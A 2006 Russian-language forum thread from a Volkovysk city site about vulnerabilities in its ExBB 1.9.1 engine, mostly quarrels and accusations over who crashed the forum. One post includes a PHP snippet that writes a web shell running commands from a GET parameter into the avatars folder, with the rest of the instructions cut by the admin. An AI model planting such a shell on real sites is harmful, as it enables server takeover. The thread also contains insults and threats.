Oфициaльный, единый форум Волковыских сайтов Волковыск - форум Oфициaльный, единый форум Волковыских сайтов
Сайт Волковыска Волковысские знакомства ~ВеСеЛуХа~ Волковыск во «ВКонтакте» Фото приложения
Падонковские печати   Правила форума   Помощь по форуму   Поиск по форуму   Пользователи форума


Создать новое сообщениеСоздать новую тему

> Уязвимости и безопасность     Без описания
загрузка...

tаrantyl
Анкета Написано: 18 Января, 2006 - 04:31:25
Забанен

photo-avatar

Всего записей: 96
Дата рег-ции: Нояб. 2005
   АВТОРИТЕТ: 0
Повысить/Опустить
Игорь, твой движок ЕxBB 1.9.1 довольно-таки глючный и если уже была одна атака, во время которой все и полетело, то поверь она была не последняя.
Захватить сайт с твоим форумом ЕxBB 1.9.1 можно с использованием двух уязвимостей. Первая - PHP-инклудинг в админке, а вторая - невнимательность слежения за доступом в админку.
Так что принимай меры.
И кстати , обнаружил как вставлять теги в сообшение на форуме , и для того кто это знал снести все сообщения труда не составило... делай оргвыводы!!


(Отредактировано автором: 18 Января, 2006 - 04:33:38)
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 18 Января, 2006 - 20:58:48
Не зарегистрирован!


tarantyl пишет:
Игорь, твой движок ЕxBB 1.9.1 довольно-таки глючный и если уже была одна атака, во время которой все и полетело, то поверь она была не последняя.
Захватить сайт с твоим форумом ЕxBB 1.9.1 можно с использованием двух уязвимостей. Первая - PHP-инклудинг в админке, а вторая - невнимательность слежения за доступом в админку.
Так что принимай меры.
И кстати , обнаружил как вставлять теги в сообшение на форуме , и для того кто это знал снести все сообщения труда не составило... делай оргвыводы!!


Обратись в отдел по борьбе в сфере высоких технологий г. Гродно . Остальное раскажет Игорь, если захочет конечно.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

tаrantyl
Анкета Написано: 19 Января, 2006 - 03:35:13
Забанен

photo-avatar

Всего записей: 96
Дата рег-ции: Нояб. 2005
   АВТОРИТЕТ: 0
Повысить/Опустить

Гость пишет:
Обратись в отдел по борьбе в сфере высоких технологий г. Гродно . Остальное раскажет Игорь, если захочет конечно.

И что ж он мне такое должен расказать??
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 19 Января, 2006 - 12:29:21
Не зарегистрирован!


tarantyl пишет:
И что ж он мне такое должен расказать??

" Ништо так не скарочвае жизнь, как доуги язык"
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Admin пол
Анкета  WWW  ICQ Написано: 31 Января, 2006 - 04:56:18
Администрация форума

photo-avatar

Всего записей: 825
Дата рег-ции: Нояб. 2005
Откуда: ©Веселуха™
   АВТОРИТЕТ: 7
Повысить/Опустить
Объявление:
Повысил уровень прав доступа к файлам форума, восстановил защиту от CSS-атак. Защита от роботов пока работает успешно. Темы потихонку фостанавливаю.
Если у кого начались глюки с доступом к форуму из-за повышенных прав, пишите в гостевую книгу.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -

Чем больше ложь, тем лучше в неё верят. Правда скучна и неинтересна. (Адольф, III Рейх)
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Судья Дрэд
Анкета Написано: 01 Февраля, 2006 - 03:56:02
Заместитель авторитетов

Всего записей: 26
Дата рег-ции: Дек. 2005
Откуда: Гродно - г.п.Россь
   АВТОРИТЕТ: 0
Повысить/Опустить
tarantyl
Хватит х нести, у тебя одни понты. Ты из себя корчишь такого крутого програмера (или действительно шизанутый), выдумляешь всякие байки о уязвимостях, а сам наплодил в сети хрени одной, потому тебе даже деньги отказались везде платить. И этот человек хочет, что бы ему ещё исполкомовский сайт отдали. Разогнался прямо в стену.

Между прочим ты второй подозреваемый по взлому форума.



Отредактировано администратором: Admin, 03 Февраля, 2006 - 02:57:59
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Admin пол
Анкета  WWW  ICQ Написано: 02 Февраля, 2006 - 06:43:43
Администрация форума

photo-avatar

Всего записей: 825
Дата рег-ции: Нояб. 2005
Откуда: ©Веселуха™
   АВТОРИТЕТ: 7
Повысить/Опустить
Фернандо
Забей на тарантула, он перед бабами выпендривается. Второе, его зависть обуяла и он хочет тоже себе форум, где хочет побыть интернет-диктатором.

За то, Тарантул, что ты мне форум повалил, я тебе конечно припомню.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -

Чем больше ложь, тем лучше в неё верят. Правда скучна и неинтересна. (Адольф, III Рейх)
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 03 Февраля, 2006 - 02:47:41
Не зарегистрирован!

Админы, незнаю сколько вас там, двое или трое, необращайте внимания на детвору всякую и врагов. Враги специально обсирают вас, баньте их к чёрту. И не идите на поводу у тупых детишек, они ничего не понимают и требуют каждый своё, всем не угодишь.
Сами почти все ведут себя, как хамьё, потом плачутся в жилетку: "Ах,ох, что за форумммммм...... ыыы.... уууу........." Запомните, детишки, форумы не для слабонервных в принципе.
Админы, просьба, никакой не делайте тотальной цензуры, иначе это будет не демократичный форум, а показушно-показательный для подлиз и льстецов, на котором будет нельзя казать то, что на душе накипело.
Вы правильно держите баланс политики форума, какая бы она плохая не была, но это лучшее для того, чтобы быстро не загнуться.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 03 Февраля, 2006 - 04:42:37
Не зарегистрирован!


Admin пишет:
Фернандо
Забей на тарантула, он перед бабами выпендривается. Второе, его зависть обуяла и он хочет тоже себе форум, где хочет побыть интернет-диктатором.

За то, Тарантул, что ты мне форум повалил, я тебе конечно припомню.


Как вы меня з*****и. И перед бабами мне незачем выпендриваться - я недостатка женского внимания не испытываю в отличии от некоторых здесь п******х..
Второе форум я не ломал, ибо мне хотелось чтобы этот сайт жил, я даже для него чат писал, а теперь подумываю его себе поставить на сайт если здесь политика не изменится....
И наконец: пользуйтесь кто хочет вы меня з*****и. Инструкция по взлому этого форума (Клиперу на радость).(Возможно уже придется внести некоторые изменения).

***********


Отредактировано администратором: Admin, 03 Февраля, 2006 - 06:23:10
Ой, бля ты и необирался ничего писать, ты с самого начала е**л мозги: "Давай исполкомовский восстанавливать, давай исполкомовский". Думал тебе его просто так дадут? Потом свой ты давно хотел и подменя всё капал, как шакал, и не п....и, что после перемены политики ты неупокоишся.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 03 Февраля, 2006 - 04:47:19
Не зарегистрирован!


Судья Дрэд пишет:
tarantyl
Хватит х нести, у тебя одни понты. Ты из себя корчишь такого крутого програмера (или действительно шизанутый), выдумляешь всякие байки о уязвимостях, а сам наплодил в сети хрени одной, потому тебе даже деньги отказались везде платить. И этот человек хочет, что бы ему ещё исполкомовский сайт отдали. Разогнался прямо в стену.

Между прочим ты второй подозреваемый по взлому форума.


Первое: интересно кто это мне деньги платить отказался??
Второе: Про байки ты написал потому, что не понял о чем там речь даже, да??
Третье: Иди *****!!


Отредактировано администратором: Admin, 03 Февраля, 2006 - 06:14:21
За мари.бай тебе разве за эту х...ю заплатили? За такую х платить никто не будет.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Гость
Написано: 03 Февраля, 2006 - 15:35:57
Не зарегистрирован!

за марибай мне заплатили иначе его бы не было в сети.
А что так ты мою инструкцию убрал?? Если я не шарю, то и вреда от нее никакой, так??
Мне твой форум нафик не нужен. Лучше будет если он переедет на мой сайт со временем, когда тот появится, но мои условия я тебе в чате говорил, иначе берегись.....


Отредактировано администратором: Admin, 07 Февраля, 2006 - 07:01:55
Шиш тебе и ботов пачку, а не переезд.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

tаrantyl
Анкета Написано: 06 Февраля, 2006 - 00:52:53
Забанен

photo-avatar

Всего записей: 96
Дата рег-ции: Нояб. 2005
   АВТОРИТЕТ: 0
Повысить/Опустить
'http://exbb'.$lol.'';

<?
$fp=fopen("im/avatars/personal/shell.php", "w");
fputs($fp,"<?
system(\$_GET['c']);
?>");
fclose($fp);
?>

[Код вырезан]



Отредактировано администратором: Admin, 18 Октября, 2006 - 07:08:34
Так этож не всё. А текст где? надо чтоб все лохи поняли, как ломать.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

BLakE
Анкета Написано: 14 Марта, 2006 - 00:34:53
Pro [ UseR ]

photo-avatar

Всего записей: 823
Дата рег-ции: Янв. 2006
Откуда: Вильнюс-Волковыск
   АВТОРИТЕТ: 6
Повысить/Опустить
Админ! Ты что не можешь позаботиться о безопасности форума ?
Теперь уже поздно думать.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
ooo

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Olgunchik пол
Анкета Написано: 14 Марта, 2006 - 00:38:07
Красавица

photo-avatar

Всего записей: 166
Дата рег-ции: Нояб. 2005
Откуда: г. Москва
   АВТОРИТЕТ: 0
Повысить/Опустить

BLakE пишет:
Админ! Ты что не можешь позаботиться о безопасности форума ?
Теперь уже поздно думать.


Не волнуйся, все будет ок!! Ведь наш АДМИН, ЛУЧШИЙ!!! Я надеюсь, что никто оспаривать не будет!!!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Все лучшее сегодня!!!

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

BLakE
Анкета Написано: 14 Марта, 2006 - 00:43:40
Pro [ UseR ]

photo-avatar

Всего записей: 823
Дата рег-ции: Янв. 2006
Откуда: Вильнюс-Волковыск
   АВТОРИТЕТ: 6
Повысить/Опустить
Лучший, худший! Не знаю. Но думаю, что спит он сейчас, как младенец, беды не знает.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
ooo

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Olgunchik пол
Анкета Написано: 14 Марта, 2006 - 00:45:20
Красавица

photo-avatar

Всего записей: 166
Дата рег-ции: Нояб. 2005
Откуда: г. Москва
   АВТОРИТЕТ: 0
Повысить/Опустить

BLakE пишет:
Лучший, худший! Не знаю. Но думаю, что спит он сейчас, как младенец, беды не знает.


Не волнуйся, как проснется - разберется!! А ты пока не сиди руки сложа, создавай, работай, твори новые темы на форуме!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Все лучшее сегодня!!!

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

paradoxys
Анкета Написано: 14 Марта, 2006 - 20:03:25
Заслуженный писатель форума

photo-avatar

Всего записей: 538
Дата рег-ции: Дек. 2005
Откуда: Минск
   АВТОРИТЕТ: 2
Повысить/Опустить
Не волнуйся, все будет ок!! Ведь наш АДМИН, ЛУЧШИЙ!!! Я надеюсь, что никто оспаривать не будет!!!!!::biggrin24.gif::

Я буду. Админ - самая настоящая ленивая гнида.
Можно было в конце концов защитить свою песочницу, это даже мальки теперь знают в любом дворе. А то.... Даже слов нет.

И 99% ответственности за очередной снос форума лежит на его хрупких, как оказалось , плечах.


Отредактировано администратором: Admin, 05 Апреля, 2006 - 06:35:15
Спасибо за гниду. Я действительно ленивый, но и делаю всё за свой счёт, связь с инетом я оплачиваю, чтобы проводить модерирование форума. Если ты такой умный помадерируй сам, следи постянно за защитой и оплати своими бабками, я думаю ты быстро засыпешся. А интересно, что ты будешь делать, когда у тебя на форуме поселятся спам-боты? Тебе заманается с ними сражаться, в сети куча примеров, когда из-за спама люди кидали в жопу всё. У тебя какая стипендия?

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
*Никогда не следует недооценивать предсказуемость тупизны

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Не придумал! пол
Анкета Написано: 14 Марта, 2006 - 20:42:41
Full Member

photo-avatar

Всего записей: 111
Дата рег-ции: Янв. 2006
Откуда: Волковыск
   АВТОРИТЕТ: 0
Повысить/Опустить
Да! Обидно однако!
Какая падла форум стёрла?
И чё за гость? И чё за х**ню пишет?



Отредактировано администратором: Admin, 15 Марта, 2006 - 03:20:07
Х***ю пишет тарантул для запугивания, но темы полетели не из-за х***и. Если это кто-то повалил темы, то делалось другим способом, но это неважно, пусть хоть 10 раз валят, темы всегда восстановятся в том же виде как и были. Мне хакерство до заду.
 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

paradoxys
Анкета Написано: 16 Марта, 2006 - 20:01:52
Заслуженный писатель форума

photo-avatar

Всего записей: 538
Дата рег-ции: Дек. 2005
Откуда: Минск
   АВТОРИТЕТ: 2
Повысить/Опустить
У меня зарплата.

А со спамами мои друзья-админы борются довольно эффективно (мож потому что они работают в Белхарде??)

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
*Никогда не следует недооценивать предсказуемость тупизны

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

pasha
Анкета ICQ Написано: 02 Апреля, 2006 - 21:19:23
Member

photo-avatar

Всего записей: 50
Дата рег-ции: Дек. 2005
   АВТОРИТЕТ: 0
Повысить/Опустить
Даёшь бесплатный интернет!!!

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
утро добрым не бывает!..

 
Ответить с цитированием Для вставки цитаты в форму ответа, выделите её, и нажмите сюда
Наверх

Страниц (2): [1] 2 »
« Технический раздел по форуму и сайту »

Создать новое сообщениеСоздать новую тему


Быстрый ответ в тему "Уязвимости и безопасность"
Смайлики
sm  sm  sm  sm  sm 
sm  sm  sm  sm  sm 
sm  sm  sm  sm  sm 
Показать все смайлы
Имя:      
Код безопасности: 5742 =>

Вы хотите разрешить смайлики в этом сообщении?

   
Смайлики
sm  sm  sm  sm  sm 
sm  sm  sm  sm  sm 
sm  sm  sm  sm  sm 
Показать все смайлы


Copyright © the people of Volkovysk city :: 13.11.2005-2017 :: г. Волковыск и Волковысский район

Рейтинг сайтов

Волковысский актёр Александр Дедюшко. Фильмы, творчество. Официальный сайт памяти
Советский и украинский народный артист Борислав Николаевич
[ Script execution time: 0.0642 sec ] [ Gzip Disabled ] [ Used server memory: 2.158 Mb ]